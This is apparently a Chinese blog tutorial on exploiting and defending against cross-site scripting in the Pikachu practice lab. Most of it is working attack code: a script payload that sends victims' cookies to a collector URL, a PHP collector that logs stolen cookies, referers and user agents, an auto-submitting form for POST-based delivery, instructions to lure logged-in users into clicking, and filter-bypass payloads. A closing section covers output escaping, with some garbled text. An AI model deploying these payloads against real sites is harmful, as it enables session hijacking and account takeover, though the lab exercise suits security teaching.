03.(2)XSS利用与防御
2019-03-02 本文已影响0人
新一mghc
一.漏洞的利用
1.GET型XSS的利用
(1).渗透分析
A. 流程分析
GET型XSS的利用.pngB. 基本环境
存在漏洞页面
http://192.168.58.130/pikachu/vul/xss/xss_reflected_get.php
恶意代码
<script>document.location = 'http://192.168.58.130/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
用户收到的链接
(2). 渗透过程
A.构造信息收集代码
<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
//这个是获取cookie的api页面
if(isset($_GET['cookie'])){
$time=date('Y-m-d g:i:s');
$ipaddress=getenv ('REMOTE_ADDR');
$cookie=$_GET['cookie'];
$referer=$_SERVER['HTTP_REFERER'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$query="insert cookies(time,ipaddress,cookie,referer,useragent)
values('$time','$ipaddress','$cookie','$referer','$useragent')";
$result=mysqli_query($link, $query);
}
header("Location:http://192.168.58.130/pikachu/index.php");//重定向到一个可信的网站
?>
B. 向登录目标网站用户发送恶意链接,诱使其点击
C. 成功收集目标信息,可假冒目标登录
1.POST型XSS的利用
(1).渗透分析
A. 流程分析
POST型XSS的利用.pngB. 基本环境
存在漏洞页面
http://192.168.58.130/pikachu/vul/xss/xsspost/xss_reflected_post.php
用户收到的链接
http://192.168.58.130/pkxss/xcookie/post.html
(2). 渗透过程
A.构造信息收集代码
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.58.130/pikachu/vul/xss/xsspost/xss_reflected_post.php">
<input id="xssr_in" type="text" name="message" value=
"<script>
document.location = 'http://192.168.58.130/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>"
/>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
B. 向登录目标网站用户发送恶意链接,诱使其点击
C. 成功收集目标信息,可假冒目标登录
三. 其它类型的渗透
A. 键盘监控
B. xss的盲打
C. a href 插入js
XSS的绕过
一、转换
- 前端绕过
- 大小写混合
- 拼凑绕过:
<scr<script>ipt>alert(1)<scri</script>pt>
- 注释绕过:
<script>alert(1)<script>
二. 编码
XSS的防御
1.进行转码
htmlspecialchal()
函数htmlspecialchars()函数把预定义的字符转换为HTML实体。
预定义的字符是:
- &(和号)成为&
- ·(双引号)成为"
- ’(单引号)成为'
- <(小于)成为&t
- Sok=htmlspe
-
(大于)成为>
可用的引号类型:
- ENT_COMPAT 默认。仅编码双引号。
- ENT_QUOTES 编码双引号和单引号
- ENT_NOQUOTES 不编码任何引号。
总的原则:输入做过滤,输出做转义
- 过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字。
- 转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面的进行JS转义
三、 对参数进行过滤。
PHP:
htmlentities() 或是 htmlspecialchars()
Python:
cgi.escape()
ASP:
Server.HTMLEncode()
ASP.NET:
Server.HtmlEncode() 或 Microsoft Anti-Cross Site Scripting Library
Java:
xssprotect(Open Source Library)
Node.js:
node-validator
javascript:alert(111)
q' oneclick='alert(111)'